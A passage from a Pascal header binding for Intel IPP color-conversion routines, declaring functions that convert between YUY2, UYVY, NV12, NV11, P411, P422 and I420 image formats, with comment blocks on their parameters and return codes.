U0Y0V0Y1,U1Y2V1Y3,...
}
function ippiYCbCr422ToCbYCr422_8u_C2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCbYCr422ToYCbCr422_8u_C2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYVToUY420_8u_P3C2R, ippiYVToYU420_8u_P3C2R
Purpose: Converts a 3-plane YV12 image to 2-YUY2 : channel ; UYVY images
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field value less than 2
Parameters:
pSrc An array of three pointers to source image planes
srcStep An array of steps through the source image planes
roiSize Size of ROI : the ; should be multiple 2.
pDst Pointer to the destination image
dstStep Step through the destination image
Notes:
Sequence of planes in the source image is( YV12 ): Y V U
for ippiYVToUY420_8u_P3C2R sequence of bytes in the destination image is( YUY2 ):
Y0U0Y1V0,Y2U1Y3V1,...
for ippiUYToYU422_8u_C2P2R sequence of bytes in the destination image is( UYVY ):
U0Y0V0Y1,U1Y2V1Y3,...
}
function ippiYCrCb420ToCbYCr422_8u_P3C2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCrCb420ToYCbCr422_8u_P3C2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToYCbCr422_8u_C3P3R/ippiYCbCr422ToBGR_8u_P3C3R
PVCS ID 9600
Purpose: Converts a RGB24/YUY2 image to the YUY2/RGB24 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr one or more pointers are NULL
ippStsDoubleSize Indicates a warning if roiSize is not a multiple of 2.
Arguments:
pSrc Pointer to the source image ROI for pixel-order image. An array of pointers to ROI in each separate source color planes for planar images.
srcStep Distance in bytes between starts of consecutive lines in the source image.
pDst Pointer to the destination image ROI. An array of pointers to ROI in the separate destination color and alpha planes for planar images.
dstStep Distance in bytes between starts of consecutive lines in the destination image.
roiSize Size of the source and destination ROI in pixels.
}
function ippiRGBToYCbCr422_8u_C3P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr422ToBGR_8u_P3C3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCrCb420ToYCbCr420_8u_P3P2R
Purpose: Converts a 3-plane YV12 image to the 2-plane NV12 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field value less than 2
Parameters:
pSrc An array of three pointers to source image planes
srcStep An array of steps through the source image planes
roiSize Size of ROI : the ; should be multiple 2.
pDstY Pointer to the destination image Y plane.
dstYStep Step through the destination image Y plane.
pDstCbCr Pointer to the destination image CbCr plane.
dstCbCrStep Step through the destination image CbCr plane.
Notes:
Sequence of planes in the source image is( YV12 ): Y V U
Sequence of bytes in the destination image is( NV12 ):
Y plane Y0Y1Y2Y3
UV plane U0V0U1V1
}
function ippiYCrCb420ToYCbCr420_8u_P3P2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCbCr : Ipp8uPtr ; dstCbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYUToUY420_8u_P2C2R
Purpose: Converts a 2-plane NV12 image to the 2-channel UYVY image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field value less than 2
Parameters:
pSrcY Pointer to the source image Y plane.
srcYStep Step through the source image Y plane.
pSrcCbCr Pointer to the source image CbCr plane.
srcCbCrStep Step through the source image CbCr plane.
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of ROI : the ; should be multiple of 2.
Notes:
Sequence of bytes in the source image is( NV12 ):
Y plane Y0Y1Y2Y3
UV plane U0V0U1V1
for ippiUYToYU422_8u_C2P2R sequence of bytes in the destination image is( UYVY ):
U0Y0V0Y1,U1Y2V1Y3,...
}
function ippiYCbCr420ToCbYCr422_8u_P2C2R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422ToYCbCr422_8u_C2P3R
Purpose: Converts a YUY2 image to the P422 image
Name: ippiYCrCb422ToYCbCr422_8u_C2P3R
Purpose: Converts a YVYU image to the P422 image
Name: ippiCbYCr422ToYCbCr422_8u_C2P3R
Purpose: Converts a UYVY image to the P422 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 2
Arguments:
pSrc pointer to the source image
srcStep step for the source image
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 2.
}
function ippiYCbCr422_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCrCb422ToYCbCr422_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCbYCr422ToYCbCr422_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422ToYCbCr420_8u_C2P3R
Purpose: Converts a 2-channel YUY2 image to the I420(IYUV) image
Name: ippiCbYCr422ToYCbCr420_8u_C2P3R
Purpose: Converts a 2-channel YUY2 image to the I420(IYUV) image
Name: ippiYCrCb422ToYCbCr420_8u_C2P3R
Purpose: Converts a 2-channel YVYU image to the I420(IYUV) image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 2 || roiSize.height < 2
Arguments:
pSrc pointer to the source image
srcStep step for the source image
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width and roiSize.height should be multiple 2.
}
function ippiYCbCr422ToYCbCr420_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCbYCr422ToYCbCr420_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCrCb422ToYCbCr420_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422ToYCbCr411_8u_C2P3R
Purpose: Converts a YUY2 image to the P411 image
Name: ippiCbYCr422ToYCbCr411_8u_C2P3R
Purpose: Converts a YUY2 image to the P411 image
Name: ippiYCrCb422ToYCbCr411_8u_C2P3R
Purpose: Converts a YVYU image to the P411 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4
Arguments:
pSrc pointer to the source image
srcStep step for the source image
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 4.
}
function ippiYCbCr422ToYCbCr411_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCbYCr422ToYCbCr411_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCrCb422ToYCbCr411_8u_C2P3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422ToYCbCr420_8u_P3P2R
Purpose: Converts a P422 image to the NV12 image
Name: ippiYCbCr420_8u_P3P2R
Purpose: Converts a IYUV image to the NV12 image
Name: ippiYCbCr420ToYCbCr411_8u_P3P2R
Purpose: Converts a IYUV image to the NV11 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 2 || roiSize.height < 2
Arguments:
pSrc array of pointers to the components of the source image
srcStep array of step values for every component
pDstY pointer to the source Y plane
dstYStep step for the destination Y plane
pDstCbCr pointer to the destination CbCr plane
dstCbCrStep step for the destination CbCr plane
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width and roiSize.height should be multiple 2.
}
function ippiYCbCr422ToYCbCr420_8u_P3P2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCbCr : Ipp8uPtr ; dstCbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420_8u_P3P2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCbCr : Ipp8uPtr ; dstCbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420ToYCbCr411_8u_P3P2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCbCr : Ipp8uPtr ; dstCbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422ToYCbCr411_8u_P3P2R
Purpose: Converts a P422 image to the NV11 image
Name: ippiYCrCb420ToYCbCr411_8u_P3P2R
Purpose: Converts a YV12 image to the NV11 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4 || roiSize.height < 2
Arguments:
pSrc array of pointers to the components of the source image
srcStep array of step values for every component
pDstY pointer to the source Y plane
dstYStep step for the destination Y plane
pDstCbCr pointer to the destination CbCr plane
dstCbCrStep step for the destination CbCr plane
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 4.
roiSize.height should be multiple 2.
}
function ippiYCbCr422ToYCbCr411_8u_P3P2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCbCr : Ipp8uPtr ; dstCbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCrCb420ToYCbCr411_8u_P3P2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCbCr : Ipp8uPtr ; dstCbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422ToYCbCr420_8u_P3R
Purpose: Converts a P422 image to the I420(IYUV)image
Name: ippiYCbCr420ToYCbCr422_8u_P3R
Purpose: Converts a IYUV image to the P422 image
Name: ippiYCrCb420ToYCbCr422_8u_P3R
Purpose: Converts a YV12 image to the P422 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 2 || roiSize.height < 2
Arguments:
pSrc array of pointers to the components of the source image
srcStep array of step values for every component
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width and roiSize.height should be multiple 2.
}
function ippiYCbCr422ToYCbCr420_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420ToYCbCr422_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCrCb420ToYCbCr422_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr420ToYCbCr422_Filter_8u_P3R
Purpose: Converts a IYUV image to the P422 image.
Name: ippiYCrCb420ToYCbCr422_Filter_8u_P3R
Purpose: Converts a YV12 image to the P422 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 2 || roiSize.height < 8
Arguments:
pSrc array of pointers to the components of the source image
srcStep array of step values for every component
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 2.
roiSize.height should be multiple 8.
We use here Catmull-Rom interpolation.
}
function ippiYCbCr420ToYCbCr422_Filter_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCrCb420ToYCbCr422_Filter_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr420ToYCbCr422_Filter_8u_P2P3R
Purpose: Converts a NV12 image to the P422 image.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 2 || roiSize.height < 8
Arguments:
pSrcY pointer to the source Y plane
srcYStep step for the source Y plane
pSrcCbCr pointer to the source CbCr plane
srcCbCrStep step for the source CbCr plane
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 2.
roiSize.height should be multiple 8.
We use here Catmull-Rom interpolation.
}
function ippiYCbCr420ToYCbCr422_Filter_8u_P2P3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr420ToYCbCr422_8u_P2P3R
Purpose: Converts a NV12 image to the P422 image.
Name: ippiYCbCr420_8u_P2P3R
Purpose: Converts a NV12 image to the I420(IYUV) image.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 2 || roiSize.height < 2
Arguments:
pSrcY pointer to the source Y plane
srcYStep step for the source Y plane
pSrcCbCr pointer to the source CbCr plane
srcCbCrStep step for the source CbCr plane
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 2.
roiSize.height should be multiple 2.
}
function ippiYCbCr420ToYCbCr422_8u_P2P3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr420_8u_P2P3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr420ToYCbCr411_8u_P2P3R
Purpose: Converts a NV12 image to the P411 image.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4 || roiSize.height < 2
Arguments:
pSrcY pointer to the source Y plane
srcYStep step for the source Y plane
pSrcCbCr pointer to the source CbCr plane
srcCbCrStep step for the source CbCr plane
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 4.
roiSize.height should be multiple 2.
}
function ippiYCbCr420ToYCbCr411_8u_P2P3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr411ToYCbCr422_8u_P3C2R
Purpose: Converts a P411 image to the YUY2 image.
Name: ippiYCbCr411ToYCrCb422_8u_P3C2R
Purpose: Converts a P411 image to the YVYU image.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4
Arguments:
pSrc array of pointers to the components of the source image
srcStep array of step values for every component
pSrc pointer to the destination image
srcStep step for the destination image
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 4.
}
function ippiYCbCr411ToYCbCr422_8u_P3C2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr411ToYCrCb422_8u_P3C2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr411ToYCbCr422_8u_P3R
Purpose: Converts a P411 image to the P422 image
Name: ippiYCbCr411ToYCrCb422_8u_P3R
Purpose: Converts a P411 image to the YVYU image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4
Arguments:
pSrc array of pointers to the components of the source image
srcStep array of step values for every component
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 4.
}
function ippiYCbCr411ToYCbCr422_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr411ToYCrCb422_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr411ToYCbCr420_8u_P3R
Purpose: Converts a P411 image to the I420(IYUV) image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4 || roiSize.height < 2
Arguments:
pSrc array of pointers to the components of the source image
srcStep array of step values for every component
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 4.
roiSize.height should be multiple 2.
}
function ippiYCbCr411ToYCbCr420_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr411ToYCbCr420_8u_P3P2R
Purpose: Converts a P411 image to the NV12 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4 || roiSize.height < 2
Arguments:
pSrc array of pointers to the components of the source image
srcStep array of step values for every component
pDstY pointer to the source Y plane
dstYStep step for the destination Y plane
pDstCbCr pointer to the destination CbCr plane
dstCbCrStep step for the destination CbCr plane
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 4.
roiSize.height should be multiple 2.
}
function ippiYCbCr411ToYCbCr420_8u_P3P2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCbCr : Ipp8uPtr ; dstCbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr411ToYCbCr411_8u_P3P2R
Purpose: Converts a P411 image to the NV11 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4
Arguments:
pSrc array of pointers to the components of the source image
srcStep array of step values for every component
pDstY pointer to the source Y plane
dstYStep step for the destination Y plane
pDstCbCr pointer to the destination CbCr plane
dstCbCrStep step for the destination CbCr plane
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 4.
}
function ippiYCbCr411_8u_P3P2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCbCr : Ipp8uPtr ; dstCbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr411ToYCbCr422_8u_P2C2R
Purpose: Converts a NV11 image to the YUY2 image.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4
Arguments:
pSrcY pointer to the source Y plane
srcYStep step for the source Y plane
pSrcCbCr pointer to the source CbCr plane
srcCbCrStep step for the source CbCr plane
pSrc pointer to the destination image
srcStep step for the destination image
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 4.
}
function ippiYCbCr411ToYCbCr422_8u_P2C2R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr411ToYCbCr422_8u_P2P3R
Purpose: Converts a NV11 image to the P422 image.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4
Arguments:
pSrcY pointer to the source Y plane
srcYStep step for the source Y plane
pSrcCbCr pointer to the source CbCr plane
srcCbCrStep step for the source CbCr plane
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 4.
}
function ippiYCbCr411ToYCbCr422_8u_P2P3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr411ToYCrCb420_8u_P2P3R
Purpose: Converts a NV11 image to the YV12 image.
Name: ippiYCbCr411ToYCbCr420_8u_P2P3R
Purpose: Converts a NV11 image to the I420(IYUV) image.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4 || roiSize.height < 2
Arguments:
pSrcY pointer to the source Y plane
srcYStep step for the source Y plane
pSrcCbCr pointer to the source CbCr plane
srcCbCrStep step for the source CbCr plane
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 4.
roiSize.height should be multiple 2.
}
function ippiYCbCr411ToYCrCb420_8u_P2P3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiYCbCr411ToYCbCr420_8u_P2P3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr411_8u_P2P3R
Purpose: Converts a NV11 image to the P411 image.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4
Arguments:
pSrcY pointer to the source Y plane
srcYStep step for the source Y plane
pSrcCbCr pointer to the source CbCr plane
srcCbCrStep step for the source CbCr plane
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 4.
}
function ippiYCbCr411_8u_P2P3R( pSrcY : Ipp8uPtr ; srcYStep : Int32 ; pSrcCbCr : Ipp8uPtr ; srcCbCrStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422ToYCbCr411_8u_C2P2R
Purpose: Converts a YUY2 image to the NV11 image YUY2ToNV11
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 4
Arguments:
pSrc pointer to the source image
srcStep step for the source image
pDstY pointer to the source Y plane
dstYStep step for the destination Y plane
pDstCbCr pointer to the destination CbCr plane
dstCbCrStep step for the destination CbCr plane
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 4.
}
function ippiYCbCr422ToYCbCr411_8u_C2P2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDstY : Ipp8uPtr ; dstYStep : Int32 ; pDstCbCr : Ipp8uPtr ; dstCbCrStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422ToYCbCr411_8u_P3R
Purpose: Converts a P422 image to the P411 image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 2 || roiSize.height < 2
Arguments:
pSrc array of pointers to the components of the source image
srcStep array of step values for every component
pDst array of pointers to the components of the destination image
dstStep array of steps values for every component
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width and roiSize.height should be multiple 2.
}
function ippiYCbCr422ToYCbCr411_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8u_3Ptr ; dstStep : Int32_3 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422ToYCrCb422_8u_P3C2R
Purpose: Converts a P422 image to the YVYU image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 2
Arguments:
pSrc array of pointers to the components of the source image
srcStep array of step values for every component
pSrc pointer to the destination image
srcStep step for the destination image
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width and should be multiple 2.
}
function ippiYCbCr422ToYCrCb422_8u_P3C2R( pSrc : Ipp8u_3Ptr ; srcStep : Int32_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422ToYCrCb422_8u_C2R
Purpose: Converts a YUY2 image to the YVYU image
Return:
ippStsNoErr Ok
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr if roiSize.width < 2
Arguments:
pSrc pointer to the source image
srcStep step for the source image
pSrc pointer to the destination image
srcStep step for the destination image
roiSize region of interest to be processed, in pixels
Notes:
roiSize.width should be multiple 2.
}
function ippiYCbCr422ToYCrCb422_8u_C2R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiYCbCr422ToGray_8u_C2C1R
Purpose: Converts an YUY2/YUY2 image to the Gray image
Return:
ippStsNoErr No errors
ippStsNullPtrErr One or more pointers are NULL
ippStsSizeErr roiSize has a field with zero or negative value
Arguments:
pSrc Pointer to the source image
srcStep Step in bytes through the source image to jump on the next line
pDst Pointer to the destination image
dstStep Step in bytes through the destination image to jump on the next line
roiSize Region of interest (ROI) to be processed, in pixels
}
function ippiYCbCr422ToGray_8u_C2C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiRGBToYCbCr_8u_C3R, ippiYCbCrToRGB_8u_C3R.
ippiRGBToYCbCr_8u_AC4R, ippiYCbCrToRGB_8u_AC4R.
ippiRGBToYCbCr_8u_P3R, ippiYCbCrToRGB_8u_P3R.
ippiYCbCrToRGB_8u_P3C3R
ippiYCbCrToBGR444_8u16u_C3R, ippiYCbCrToRGB444_8u16u_C3R,
ippiYCbCrToBGR555_8u16u_C3R, ippiYCbCrToRGB555_8u16u_C3R,
ippiYCbCrToBGR565_8u16u_C3R, ippiYCbCrToRGB565_8u16u_C3R,
Purpose: Convert an RGB(BGR) image to and from YCbCr color model
Parameters:
